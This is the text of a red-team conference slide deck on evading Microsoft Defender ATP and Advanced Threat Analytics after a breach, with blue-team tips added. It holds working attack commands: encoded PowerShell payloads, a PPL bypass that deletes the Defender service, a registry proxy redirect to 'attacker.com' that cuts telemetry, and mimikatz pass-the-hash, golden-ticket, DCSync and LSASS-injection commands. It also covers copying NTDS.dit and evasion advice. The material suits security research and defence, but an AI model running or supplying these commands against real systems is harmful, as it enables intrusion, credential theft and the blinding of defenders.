MS Just Gave the Blue Team Tactical Nukes (And How Red Teams Need To Adapt)
Whoami

- @retBandit
- Red Team Ops Lead at IBM X-Force Red
- Part of CREST (crest-approved.org)
- I like mountain biking, drones, and beer
- Canadian, sorry not sorry
Tactical Nukes?
**TTP**

**External Recon**
- Passive Information Gathering
- Active Information Gathering
- Port Scanning
- Service Enumeration
- Network/App Vuln Identification

**Gain a Foothold**
- Exploit Vulnerabilities
- Spear Phishing
- Social Engineering
- Malicious USB Media
  - Wireless
  - Physical

**Host Recon**
- Host Recon
- Host Controls/Logging Recon
- Host Controls Bypass
- Tools Transfer
- Short-Term Persistence
- Host Privilege Escalation
- Credential Theft

**Internal Recon**
- Network Recon
- Domain Recon
- Asset Recon
- Admin Recon
- Network Security Recon

**Lateral Movement**
- Evade Network Security Controls
- Lateral Movement
- Network Exploitation
- Elevate Network Privileges

**Dominance**
- Gain Domain Admin
- Gain Asset Admin
- Sensitive Asset Access
- Exfil Sensitive Data
- Long-Term Persistence
We’re Talking Post Breach

Coming in Release 3

Defender “brand” expanded to include:

• *Windows Defender* Antivirus
• *Windows Defender* Advanced Threat Protection
• *Windows Defender*... Exploit Guard
• ... Application Guard
• ... Device Guard
• ... Credential Guard
• More OS

[https://techcrunch.com/2017/06/08/microsoft-confirms-its-acquired-hexadite-sources-say-for-100m/](https://techcrunch.com/2017/06/08/microsoft-confirms-its-acquired-hexadite-sources-say-for-100m/)
Gaining a Foothold
Gaining a Foothold w/ Out Of The Box PS Payloads

Suspicious Powershell commandline

Severity: Medium
Category: Suspicious Activity
Detection source: Windows Defender ATP

Description

A suspicious Powershell commandline was found on the machine. This commandline might be used during installation, exploration, or in some cases with lateral movement activities which are used by attackers to invoke modules, download external payloads, and get more information about the system. Attackers usually use Powershell to bypass security protection mechanisms by executing their payload in memory without touching the disk and leaving any trace.

The process powershell.exe was executing suspicious commandline:
```
powershell.exe -noP -sta -w 1 -enc WwbBSAEUCgSdAC4AQQBzAFMARQBNAGfABZAC4ARwBFAFQAVABZAHGZQAACcAUwW5AHMAAdAB/AG0ALgBNAGEAbgBhAGcAZQ8tA
UAbgB0A4AC4AQQ81AQHqAbwBtAGEAdABpAG8AbgAueBEAbQBzAGkAVQ80AGkAbABzACcAKQ8AD8AewAkAF8AfQ8B8ACUAewAkAF8ALgBHA
```

The suspicious commandline was executed by the process powershell.exe.
Obfuscated PS Payloads

A suspicious Powershell commandline was found on the machine. This commandline might be used during installation, exploration, or in some cases with lateral movement activities which are used by attackers to invoke modules, download external payloads, and get more information about the system. Attackers usually use Powershell to bypass security protection mechanisms by executing their payload in memory without touching the disk and leaving any trace.

The process powershell.exe was executing suspicious commandline

```powershell
powershell.exe -NoP -Noni -window Hidden -Exec Bypass -C "set-variable -name "C" -value "; set-variable -name s -value e; set-variable -name q -value c; set-variable -name P -value ((get-variable C).value.toString())+(get-variable s).value.toString()); powershell (get-variable P).value.toString(); JA\2zAD0ATgBIAHcALQ8PAGIaagBIAGMAdAAgAEkATwAuAE0A\2Q8tAG8AcgB5AFMAdAByAGUAYQBTACgAL\2bAEMAbwBuAHyaZQByAHQAXQA6AD0ArGByAG8AbQBCAGEAcw8IADYANABTAHQAcgBpAG4AZwAoACIASAA0AHM\2SQBBAE\2EAQ\2B\2EAE\2AQ\2BB\2EAE\2AQ\2BMADE\2AWA
```
They promised us freedom.
But delivered slavery.
ATP is a Beneficiary of WMF 5 / Win10 1703 Security Improvements

• Window Management Framework (“PowerShell”) 5.1 provides:
  – PS Script Block Logging
  – PS Transaction/Transcription Logging
  – PS “Suspicious Strings”
  – PS Constrained Language Mode
  – Just Enough Admin (JEA) support

• ATP leverages client-side AMSI detections for PowerShell, with improvements for JavaScript & VBScript in RS3
ATP is a Beneficiary of WMF 5 / Win10 1703 Security Improvements

- Can’t downgrade to PSv2
- System-wide transcripts
- Common techniques leveraging WScript.Shell, etc. are also caught.
- Can’t just use NotPowerShell (NPS) or call directly as still forced to use WMF 5
Defender ATP ≠ Defender AV

A malicious PowerShell Cmdlet was invoked on the machine.

Severity: Medium
Category: Suspicious Activity
Detection source: Windows Defender ATP

Pass-the-ticket attack

A process was injected with potentially malicious code.

Severity: Low
Category: Suspicious Activity
Detection source: Windows Defender ATP

Network request to TOR anonymization service

Severity: Low
Category: Suspicious Network Traffic
Detection source: Windows Defender ATP

Process privilege escalation due to kernel exploit

Unexpected behavior observed by a process run with no command line arguments

Process hollowing detected

Connection to newly registered domain

Anomalous Child Process Detected

Severity: Medium
Category: Suspicious Activity
Detection source: Windows Defender ATP

A document containing a suspicious macro was detected

Severity: Medium
Category: Installation
Detection source: Windows Defender ATP

Abnormal service registration observed

Severity: Medium
Category: Persistence
Detection source: Windows Defender ATP
Side note: Traditional Defender AV

By the time you read these tweets over your morning coffee, your target’s Defender AV instances were already patched...

Sigh, more critical remote mpengine vulns. Found on Linux then reproduced on Windows, full report on the way. This needs to be sandboxed.
Not Detected: Misc. Techniques to Gain Initial Foothold

• Obfuscated JScript/VBScript payloads that don’t use Kernel32 API declarations (such as @vysecurity’s CACTUSTORCH)

• Using signed exec’s to load a Cobalt stageless DNS-based reverse payload, i.e.; “rundll32 foo.dll,Start”

• Some executables created with Veil (go-based) and Shellter

https://www.mdsec.co.uk/2017/07/payload-generation-with-cactustorch
https://github.com/nccgroup/winpayloads
Host Recon

echo %userdomain%
echo %logonserver%
echo %homepath%
echo %homedrive%
net share
net accounts
systeminfo
tasklist /svc
gpresult /z
net localgroup Administrators
netsh advfirewall
systeminfo
$env:ComSpec
$env:USERNAME
$env:USERDOMAIN
$env:LOGONSERVER
Tree $home
Not Detected: WMI

wmic process list brief
wmic group list brief
wmic computersystem list
wmic process list /format:list
wmic ntdomain list /format:list
wmic useraccount list /format:list
wmic group list /format:list
wmic sysaccount list /format:list
wmic /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get *
Get-WmiObject -Class Win32_UserAccount -Filter "LocalAccount='True'"
Not Detected: Host Recon Directly Using Windows API’s

• **Host-only** info gathering directly calling Window’s APIs through raw sockets, Metasploit railgun, etc.

• Use MSF modules with (local) API calls, such as file_from_raw_ntfs.rb

• Don’t use MSF modules like local_admin_search_enum.rb

• CobaltStrike has a number of modules that are API-only
Can’t stop ATP process, service, etc., even if running as system

C:\WINDOWS\system32>taskkill /F /IM MsSense.exe /T
ERROR: The process with PID 10368 (child process of PID 796) could not be terminated.
Reason: Access is denied.

C:\Users\admin>sc stop Sense
[SC] OpenService FAILED 5:
Access is denied.

C:\windows\system32>sc query sense
SERVICE_NAME: sense
  TYPE : 10  WIN32 OWN_PROCESS
  STATE : 4  RUNNING
          (NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)

kill -processname MsSense -force
MsSense "MsSense (1364)" because of the following error: Access is denied

Alerts related to this machine

<table>
<thead>
<tr>
<th>Last activity</th>
<th>Title</th>
</tr>
</thead>
<tbody>
<tr>
<td>03.04.2017</td>
<td>Tampering with Windows Defender ATP sensor settings</td>
</tr>
<tr>
<td>19:53:52</td>
<td>Installation</td>
</tr>
</tbody>
</table>

\system32>sc config sense start= disabled
ServiceConfig FAILED 5:
denied.
Uninstalling

• Unlike other PSP/cloud AV products like CrowdStrike, you can’t just uninstall them from an elevated command prompt.

    wmic product where "description='CrowdStrike Sensor Platform'" Uninstall

• ATP requires a generated offboarding script with a SHA256 signed reg key:

```
REG add "HKLM\SOFTWARE\Policies\Microsoft\Windows Advanced Threat Protection" /v 696C1FA1-4030-4FA4-8713-FAF9B2EA7C0A /t REG_SZ /f /d "{{"body":":\"\"orgIds\":\"[\"1fb2cfae-29e5-4876-abc3-48b986abea42\"\"]\",\"orgId\":"\"1fb2cfae-29e5-4876-abc3-48b986abea42\"\"},\"expirationTimestamp\":1314558243651,\"version\":1.11\"\"},\"sig\":\"WqiiKE1TSCiiQk9q1Mhba41Uw+MeX3V6rk2FFrd451kVYOiqhJYQ/ER1XKjBW81Vo7FaYcx2I0+rzPHt7LL7wpKAxdIRMiXugoXgM11X40b+Jzm/AhpKACItXja7HVxcWTr7sg3garXTloD4xHSVaj642W39woTwcTgRTLTZB76mbcdrdEkSCKXk5ThAtFf5oQnhFh2GcjAs0kA/90JrntSlSAjXDYsTS8tCMa4Y2QGPE/YC+nnWZR/HIrzXcF2SuEU/JTBBTeJN+/ArFndat2+hWFzpDJC5kIxC3BSFSVvYNBIRDbVeYs5kFFFw17uc/U+ZDzWhLTr3+53L6VGB3Vw==\",\"sha256sig\":\"DxKdds3PtvN+LbrqBdj9Bqaqsfau4bhrhpWN+0-eSAdY4jVSc4dezFX89-BWUW8+
```
"Protected Process Light"

C:\windows\system32>sc qprotection windefend
[SC] QueryServiceConfig2 SUCCESS
SERVICE windefend PROTECTION LEVEL: ANTIMALWARE LIGHT.

C:\windows\system32>sc qprotection sense
[SC] QueryServiceConfig2 SUCCESS
SERVICE sense PROTECTION LEVEL: WINDOWS LIGHT.

C:\windows\system32>sc qprotection diagtrack
[SC] QueryServiceConfig2 SUCCESS
SERVICE diagtrack PROTECTION LEVEL: NONE.
PPL Bypass

• Defender AV service can be stopped/deleted via Project0’s privileged Antimalware PPL bypass:

```
sc config TrustedInstaller binPath= "cmd.exe /C sc stop windefend && sc delete windefend" && sc start TrustedInstaller
```

• ... since RS2, ATP runs now at a Windows PPL protection level instead of a AntiMalware PPL, and the process is configured as “NOT_STOPPABLE”
Telemetry & Cloud Comms

• The ATP sensor communicates using Windows Telemetry (DiagTrack service)
• Telemetry in turn uses WinHTTP Services
• The WinHTTP API is independent of WinINET browser proxy settings

• However, it will follow statically set proxy settings within HKCU
Block ATP Comms as an Unprivileged User

reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" ^ /v AutoDetect /t REG_DWORD /d 0 /f

reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v AutoConfigURL /t REG_SZ /d "http://attacker.com/wpad.dat" /f
Block ATP Comms via DiagTrack Service (Privileged)

• While we can’t stop the ATP Sense service as it’s running a Windows PPL protected process, Diagtrack is not a PPL:

```
C:\windows\system32>sc qprotection diagtrack
[SC] QueryServiceConfig2 SUCCESS
SERVICE diagtrack PROTECTION LEVEL: NONE.

C:\windows\system32>sc stop diagtrack

SERVICE_NAME: diagtrack
  TYPE : 10 WIN32_OWN_PROCESS
  STATE : 3 STOP_PENDING
          (STOPPABLE, NOT_PAUSABLE, ACCEPTS_PRESHUTDOWN)
  WIN32_EXIT_CODE : 0 (0x0)
  SERVICE_EXIT_CODE : 0 (0x0)
  CHECKPOINT : 0x2
  WAIT_HINT : 0x0

C:\windows\system32>sc query diagtrack

SERVICE_NAME: diagtrack
  TYPE : 10 WIN32_OWN_PROCESS
  STATE : 1 STOPPED
```
You can use the same (privileged) technique to block in/out traffic for WinRM, Sysmon via Windows Event Forwarding, SCOM, etc.
Why Block Instead Of Disabling?

Windows Defender Security Center

Machine reporting

Last internal IP: 192.168.10.131
Last external IP: [redacted]
First seen: 4 days ago
Last seen: 4 days ago

Alerts related to this machine
No alerts found.

win10f
No sensor data

Machine has stopped sending sensor data. Windows Defender AV alerts and timeline events may still be available.
Advanced Threat Analytics

“ATA captures and parses network traffic of multiple protocols (such as Kerberos, DNS, RPC, NTLM and others) for authentication, authorization and information gathering.”

Designed to Detect:

- Pass-the-Ticket (PtT)
- Pass-the-Hash (PtH)
- Overpass-the-Hash
- Forged PAC (MS14-068)
- Golden Ticket
- Malicious replications
- Reconnaissance
- Brute force
- Remote execution
- Weak/malicious protocol usage
- Abnormal user behavior
- Modification of sensitive groups

https://docs.microsoft.com/en-us/advanced-threat-analytics/what-is-ata
ATA Architecture

- ATA relies on the following Windows events: 4776, 4732, 4733, 4728, 4729, 4756, 4757
4:11 PM May 14, 2017

Sensitive account credentials exposed

Administrator’s credentials were exposed in cleartext using LDAP simple bind.

Started at 6:42 PM May 10, 2017

3:58 PM May 14, 2017

Encryption downgrade activity

The encryption method of the TGT field of TGS_REQ message from CLIENT1 has been downgraded based on previously learned behavior on CLIENT1.

3:21 PM May 14, 2017

Kerberos Golden Ticket activity

Suspicious usage of CLIENT1’s Kerberos ticket, indicating a potential Golden Ticket attack, was detected.

Started at 1:55 PM May 14, 2017

2:43 PM May 14, 2017

Abnormal modification of sensitive groups

Administrator has uncharacteristically modified sensitive group memberships.

2:33 PM May 14, 2017

Massive object deletion

496 objects (97.75% of total AD objects) were deleted over a period of a few seconds from domain domain1.test.local.

1:30 PM May 14, 2017

Suspicious authentication failures

Suspicious authentication failures indicating a potential brute-force attack were detected from CLIENT1.

Started at 1:27 PM May 14, 2017
Identity theft using pass-the-ticket attack

User2's Kerberos tickets were stolen from CLIENT2 to CLIENT1 and used to access 6 resources.

17:14 – 17:18 10 May 2017

<table>
<thead>
<tr>
<th>TIME</th>
<th>STOLEN FROM (1)</th>
<th>TO (1)</th>
<th>ACCESS (6)</th>
<th>VIA DOMAIN CONTROLLERS</th>
</tr>
</thead>
<tbody>
<tr>
<td>10/05/2017 17:18</td>
<td>CLIENT2</td>
<td>CLIENT1</td>
<td>6 resources</td>
<td>DC4</td>
</tr>
<tr>
<td>10/05/2017 17:14</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
ATA Learning Period

1 month of learning:
• Abnormal behavior
• Abnormal sensitive group modification
• Recon using Directory Services

1 week of learning:
• Encryption downgrades (skeleton key, golden ticket, over pass the hash)
• Brute force
Detected: Bulk DNS queries, nslookup, zone transfers

Reconnaissance using DNS

Suspicious DNS activity was observed, originating from WIN10A (which is not a DNS server) against DC03.
Detected*: AD Recon using SAMR protocol or tools like “net user /domain”

**Reconnaissance using directory services enumeration**

The following directory services enumerations using SAMR protocol were attempted against DC from CLIENT1:

- Successful enumeration of all users in contoso.com by Chandan Bharti

* Tuesday, April 25, 2017 at 10:38 PM * New
Not Detected: Using LDAP/Powerview To Gather Computers/Users

```bash
PS C:\Users\JohnVanwagoner\Desktop> Get-NetComputer -verbose -domain prod.local
VERBOSE: Get-DomainSearcher search string: LDAP://DC03.prod.local/DC=prod,DC=local
DC03.prod.local
Win10a.prod.local
SQL01.prod.local
Win10c.prod.local
app01.prod.local

PS C:\Users\JohnVanwagoner\Desktop> Get-NetGroupMember -GroupName "Enterprise Admins" -Domain dev.local -verbose
VERBOSE: Get-DomainSearcher search string: LDAP://DC03.prod.local/DC=dev,DC=local

GroupDomain : dev.local
GroupName    : Enterprise Admins
MemberDomain : dev.local
MemberName   : MyronHayes
MemberSid    : S-1-5-21-1833099165-4213543110-3108917803-1547
IsGroup      : False
MemberDN     : CN=Hayes\, Myron,OU=US,OU=DemoUser,DC=dev,DC=local

GroupDomain : dev.local
GroupName    : Enterprise Admins
MemberDomain : dev.local
MemberName   : Administrator
MemberSid    : S-1-5-21-1833099165-4213543110-3108917803-500
IsGroup      : False
MemberDN     : CN=Administrator,CN=Users,DC=dev,DC=local
```
Not Detected: Enumeration via WMI Local Name Space

Domain User Accounts:

Get-WmiObject -Class Win32_UserAccount -Filter "Domain='dev' AND Disabled='False'" | Select Name, Domain, Status, LocalAccount, AccountType, Lockout, PasswordRequired, PasswordChangeableable, Description, SID

Domain Groups:

Get-CimInstance -ClassName Win32_Group -Filter "Domain = 'dev' AND Name like '%Admin%"
Not Detected: Enumeration via WMI Local Name Space (Cont’d)

Domain Group User Memberships:

Get-CimInstance -ClassName Win32_Group -Filter "Domain = 'dev' AND Name='Enterprise Admins'" | Get-CimAssociatedInstance -Association Win32_GroupUser

Get-CimInstance -ClassName Win32_Group -Filter "Domain = 'dev' AND Name='Microsoft Advanced Threat Analytics Administrator'" | Get-CimAssociatedInstance -Association Win32_GroupUser

```
Name         Caption             AccountType  SID                          Domain
------------- -----------           ---------    --------------------------  ----
Administrator DEV\Administrator  512       S-1-5-21-1833099165-42...  DEV
```
**Detected:** Default Session Enumeration via UserHunter, NetSess

Reconnaissance using SMB Session Enumeration

SMB session enumeration attempts were successfully performed by Vanwagoner, John, from WIN10A against DC03, exposing 2 accounts.

2:51 PM – Now

<table>
<thead>
<tr>
<th>TIME</th>
<th>ACCOUNTS</th>
<th>RESULT</th>
<th>EXPOSED ACCOUNTS</th>
<th>AGAINST DOMAIN CONTROLLERS</th>
</tr>
</thead>
<tbody>
<tr>
<td>7/27/17 3:04 PM</td>
<td>Vanwagoner...</td>
<td>Success</td>
<td>2 exposed accounts</td>
<td>DC03</td>
</tr>
</tbody>
</table>

Vanwagoner, J...
Health physicist

WIN10A

Session Enumeration

DC03
Not Detected: Session Enumeration By Excluding DC’s

PS C:\Users\JohnVanwagoner\Desktop> Invoke-UserHunter -ComputerFile .\hosts.txt -GroupName "Enterprise Admins"

VERBOSE: [*] Running Invoke-UserHunter with delay of 0
VERBOSE: [*] Querying domain prod.local for users of group 'Enterprise Admins'
VERBOSE: Get-DomainSearcher search string: LDAP://DC03.prod.local/DC=prod,DC=local
VERBOSE: [*] Total number of hosts: 9
VERBOSE: Waiting for scanning threads to finish...
VERBOSE: All threads completed!
VERBOSE: [*] Total number of active hosts: 3
VERBOSE: [*] Enumerating server win10a.prod.local (1 of 3)

UserDomain : prod.local
UserName : administrator
ComputerName : win10a.prod.local
IP : {10.1.11.177, 169.254.74.220}
Lateral Movement
Detection (ATA): Lateral Movement

Usually detected *(against DC’s only)*:
- WMexec
- PSexec

*MAY be detected due to “abnormal user behavior” against domain members:*
- WMexec
- PSexec
- WinRM
- DCOM
- PSexec/SMBexec
- RDP
- Remote Registry
- PSRemoting/WinRM
Detected: Over-Pass-The-Hash (Using KRBTGT NTLM Hash)

Unusual protocol implementation

2 accounts attempted to authenticate from APP01 against DC03 using an unusual protocol implementation. This may be a result of malicious tools used to execute attacks such as Pass-the-Hash and brute force.
Not Detected: Over-Pass-The-Hash (Using All Hash/Keys)

sekurlsa::pth /user:administrator /domain:prod.local
/aes256: 12d23a766f9bac2a6e31b3afbd4f41a2d49b336b76f1edbe3d8b2fa9c9848d4
/ntlm: 4c4715b4028d7aba53130d0db3de13fe
/aes128: 00000000000000000000000000000000
Not Detected: Silver Tickets

• While a Golden ticket is a forged TGT valid for gaining access to any Kerberos service, the silver ticket is a forged TGS.

• TGS is forged, so no associated TGT, meaning the DC is never contacted.

• Any event logs are on the targeted server.

Not Detected: Lateral Movement via SQL Auth

• SQL authentication events are local to the server

• Target sa accounts, compromise SQL servers that have privileged AD user sessions using tools like PowerUpSQL

• Cross-Forest SQL trusts can also be targeted as demonstrated by Nikhil- http://www.labofapenetrationtester.com/2017/03/using-sql-server-for-attacking-forest-trust.html
Dominance
Detected (ATA): DCSync

mimikatz # lsadump::dcsync /domain prod.local /user:admin

Malicious replication of directory services

Malicious replication requests were successfully performed by Administrator, from WIN10A against DC03.


<table>
<thead>
<tr>
<th>TIME</th>
<th>ACCOUNTS (1)</th>
<th>RESULT</th>
<th>AGAINST DOMAIN CONTROLLERS (1)</th>
</tr>
</thead>
<tbody>
<tr>
<td>7/14/17 3:25 PM</td>
<td>![Admin]</td>
<td>![Success]</td>
<td>![DC03]</td>
</tr>
<tr>
<td>7/14/17 3:24 PM</td>
<td>![Admin]</td>
<td>![Success]</td>
<td>![DC03]</td>
</tr>
</tbody>
</table>
Partial Detection: Copying NTDS.dit File Remotely using WMI

- We can use the WMI Win32_ShadowCopy Class to dump the ntds.dit via volume shadow copies without having to call vssadmin.exe

```powershell
PS T:\> $DeviceObject \GLOBALROOT\Device\HarddiskVolumeShadowCopy1
PS T:\> Invoke-WmiMethod -Class Win32_Process -Name create -ArgumentList "cmd.exe /c copy $DeviceObject\Windows\System32\ntds.dit C:\" -ComputerName 10.1.11.170 -CREDENTIAL $cred
```

- Now flagged as a LOW severity event in ATA 1.8 due to executing Win32_process create, but not for the use of volume shadow copy:
Not Detected*: PSRemoting with LSASS Inject

- PowerSploit: Mimikatz in memory w/ LSASS Injection

Invoke-Mimikatz -Command "'privilege::debug" "LSADump::LSA /inject'" -Computer dc03.prod.local

Blue Tip: Lots of ways to harden/log WinRM/PSRemoting, restrict via groups/source, etc.
Not Detected*: PSRemoting with Raw Disk Access

• PowerSploit: Ninja-Copy

Invoke-NinjaCopy -Path "c:\Windows\System32\config\SYSTEM" -ComputerName "dc03.prod.local" -LocalDestination "c:\temp\system"

Blue Tip: You can detect LSASS injection/raw disk access with Sysmon
Detected: Golden Tickets Detection (Using KRBTGT NTLM Hash)

kerberos::golden /user:EdwardAbbey /domain:prod.local /sid:sid /krbtgt:rc4 /groups:513,512,520,518,519 /ptt

Encryption downgrade activity

The encryption method of the TGT field of TGS_REQ message from WIN10A has been downgraded based on previously learned behavior. This may be a result of a Golden Ticket in-use on WIN10A.

1:55 PM – 2:59 PM Jul 12, 2017
Not Detected: Golden Ticket w/ AES Key


mimikatz # kerberos::golden /user:JohnVanwagoner /domain:prod.local /sid:S-1-5-21-2184559304-2325842030-2845129662 /aes256:05e186ef3ce13bae2e9 /groups:512,513 /startoffset:-1 /endin:10 /renewmax:3000 /ptt
User : JohnVanwagoner
Domain : prod.local (PROD)
SID : S-1-5-21-2184559304-2325842030-2845129662
User Id : 500
Groups Id : 512 513
ServiceKey: 05df6ed1616d67dc672d51814959b9b6de0d9f5f89c53d186eff
Lifetime : 7/12/2017 3:40:25 PM ; 7/12/2017 3:50:25 PM ; 7/14/2
--> Ticket : ** Pass The Ticket **

* PAC generated
* PAC signed
* EncTicketPart generated
* EncTicketPart encrypted
* KrbCred generated

Golden ticket for 'JohnVanwagoner @ prod.local' successfully sub
mimikatz # exit
Bye!
Blue Team Takeaways

• Limit PS Remoting sources to dedicated admin workstations
• Use JEA (Just Enough Administration) to prevent lateral movement success
• Harden SQL servers, review forest trusts
• Integrate SIEM/VPN logs into ATA
• Use Event Log Forwarding for sysmon and WMI logging with shorter polling times
• Integrate all those new Defender branded tools like Exploit Guard
Red Team Takeaways

- Return to living off the land, directly call APIs
- Leverage host based PowerShell tools only after you’ve blocked or disabled ATP & event log forwarding
- Review RDP/PS/Session history to help avoid user behavior analytics
- Block event log forwarding to prevent Sysmon/WMI/PowerShell/Security logs giving you away
- Focus on info gathering and lateral movement techniques that don’t comm with the DC, like SQL auth and Silver Tickets
- Use AES for Over-PTH, Golden Tickets
- Abuse Forest Trusts
Big Thanks / Sources

- @angus_tx, @nosteve, @swordgardctf, and the rest of the IBM X-Force Red crew - we’re hiring!

- The MS ATA/ATP team

- Tools, techniques, assistance and research by: @PyroTek3, @cobbr_io, @mattifestation, @danielhbohannon, @nikhil_mitt, @mubix, @JosephBialek, @kevin_Robertson, @subTee, @0xbadjuju, @nullbind, @gentilkiwi, @armitagehacker, @alastairgray, @harmj0y, @JershMagersh, @vysecurity, @cybera, @passingthehash and many others in the community

- @simonstalenhag for permission to use his art